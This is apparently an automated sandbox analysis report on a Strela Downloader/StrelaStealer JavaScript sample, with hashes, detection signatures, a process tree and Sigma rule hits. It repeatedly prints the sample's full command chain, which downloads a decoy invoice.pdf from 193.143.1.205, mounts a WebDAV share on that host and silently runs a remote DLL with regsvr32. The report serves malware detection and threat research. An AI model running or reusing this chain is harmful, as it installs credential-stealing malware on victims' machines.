Edit tour

Windows Analysis Report
2784527361260704938.js

Overview

General Information

Sample name:	2784527361260704938.js
Analysis ID:	1589036
MD5:	a85001e7fa8ed3bdd831341a23107dbd
SHA1:	8201d374c9a4a73199f9a89d3f523c1e596d5a6c
SHA256:	0a7ab5260c46a07d69c834ca96c864c10d202f8d2de65cf1cd550c8fbfa10975
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7428 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7516 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7568 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7768 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7984 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1240 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2232 --field-trial-handle=1528,i,11530801565310613481,17627774388203881396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7780 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7832 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8044 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7428	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7568, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7568, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", ProcessId: 7428, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", ProcessId: 7428, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7568, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7780, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7832, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8044, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7780, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7832, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll, ProcessId: 7516, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2784527361260704938.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2784527361260704938.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1299384177.00000267C262D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1350034902.000002B93B1FC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1350034902.000002B93B1C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1350034902.000002B93B21F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.1350034902.000002B93B1C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000008.00000002.1350034902.000002B93B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/g=
Source: svchost.exe, 0000000A.00000002.2589685705.00000261EFA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1359651707.00000261EF780000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7428, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
